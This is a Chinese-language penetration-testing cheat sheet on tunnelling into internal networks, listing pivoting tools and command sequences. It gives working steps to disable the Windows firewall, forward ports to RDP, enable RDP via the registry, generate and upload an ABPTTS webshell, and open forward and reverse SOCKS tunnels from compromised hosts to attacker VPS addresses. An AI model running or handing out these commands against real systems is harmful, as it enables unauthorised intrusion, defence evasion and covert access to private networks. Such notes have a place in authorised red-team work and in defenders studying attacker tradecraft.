三、内网穿透
三、内网穿透
0x01 工具
1 端口转发/代理工具
ssf
abptts (基于HTTP的正向端口转发)
earthworm (正反向、跨平台socks代理)
frp (反向socks代理)
Neo-reGeorg (HTTP正向socks代理)
reDuh
Venom
2 流量代理工具
Windows: proxifier
Linux: proxychains
3 出口IP查询接口
http://ip-api.com/json/?lang=zh-CN
0x02 netsh端口转发
条件: 管理员权限
1 检查防火墙配置/关闭防火墙
netsh firewall show config
英文显示为: Operational mode
netsh advfirewall set allprofiles state off
(成功时显示Ok.)
2 查看当前系统防火墙状态
netsh firewall show state
3 端口转发、规则建立
打开外网IP端口
netsh advfirewall firewall add rule name="test" dir=in action=allow protocol=TCP localport=1212
(成功时显示ok)
转发到内网IP端口
netsh interface portproxy add v4tov4 listenport=1212 connectaddress=127.0.0.1 connectport=3389
(成功时无回显)
端口转发状态查看
netsh interface portproxy show all
4 远程桌面连接外网IP端口登录
5 结束端口转发/删除规则
netsh advfirewall firewall delete rule name="test" dir=in protocol=TCP localport=1212netsh interface portproxy delete v4tov4 listenport=1212
6 其他
通过注册表开启3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
查看远程登录端口进程:
tasklist /svc
svchost.exe进程号 TermService
查看端口:
netstat -ano | findstr 进程号
0x03 SSF正反向跨平台socks代理
1 反向代理
靶机:Linux 106.15.197.157。上传ssf.exe、certs文件,在ssf.exe目录下运行程序。
攻击机:Windows 169.254.35.174,安装proxifier做socks代理。
vps监听1050端口
ssfd.exe -p 1050
目标主机连接1050端口,转发数据至1051端口
./ssf -F 1051 -p 1050 106.15.197.157
本地proxychains代理本地127.0.0.1的1051端口
当前出口IP查询
2 正向代理
条件:目标的防火墙设置比较严,只准进不准出,并且我们没有权限更改防火墙规则。
靶机:上传ssfd.exe、certs文件,在ssfd.exe目录下运行程序。
目标边界监听1050端口
ssfd.exe -p 1050
./ssfd -p 1050
攻击机连接目标边界的1050端口,并将数据转发给1051端口
ssf.exe -D 1051 -p 1050 目标机IP
./ssf -D 1051 -p 1050 目标机IP
本地proxifier代理本地127.0.0.1的1051端口
0x04 ABPTTS正向跨平台代理
不易被杀软捕获,ssl加密,相对比较稳定
1 安装
git clone https://github.com/nccgroup/ABPTTS.git
apt install python-setuptools
apt install python-pip
pip install --upgrade pip
python2 -m pip install pycrypto
python2 -m pip install pycryptodome
python2 -m pip install httplib2
2 生成webshell
python2 abpttsfactory.py -o webshell
3 上传webshell至目标边界机器
http://115.193.190.173:8081/shogunEvicted/
4 攻击机连接
python abpttsclient.py -c webshell/config.txt -u "可访问到webshell的链接" -f 本地内网IP:本地端口/目标主机内网IP:要转发的目标主机端口
exm: python2 abpttsclient.py -c webshell/config.txt -u "http://115.193.190.173:8081/shogunEvicted/" -f 127.0.0.1:33389/115.193.190.173:3389
//将目标边界的远程端口转发到本地的33389端口
0x05 earthworm正反向跨平台socks代理
1 正向代理
目标机开启监听
./ew_for_linux64 -s ssocksd -l 53
攻击机开启代理工具
Linux下,proxychains(Linux,apt install proxychains)
修改配置,vim /etc/proxychains.conf,最后一行修改:socks5 127.0.0.1 53
使用任何工具命令前,加上proxychains
Windows下,proxyfier(windows)
Profile — Proxy Servers... — add — 127.0.0.1 端口53 — 不要密码,enable取消勾选
2 反向代理
攻击机监听
ew_for_win.exe -s rcsocks -l 1080 -e 53 #外网53端口流量转发到内网1080端口
目标主机反向连接
./ew_for_linux64 -s rssocks -d 95.179.218.164 -e 53
攻击机开启代理工具
Linux下,proxychains(linux,apt install proxychains)
修改配置,vim /etc/proxychains.conf,最后一行修改:socks5 127.0.0.1 1080
使用任何工具命令前,加上proxychains
windows下,proxtfier(windows)
Profile — Proxy Servers... — add — 127.0.0.1 端口1080 — 不要密码,enable取消勾选
代理成功!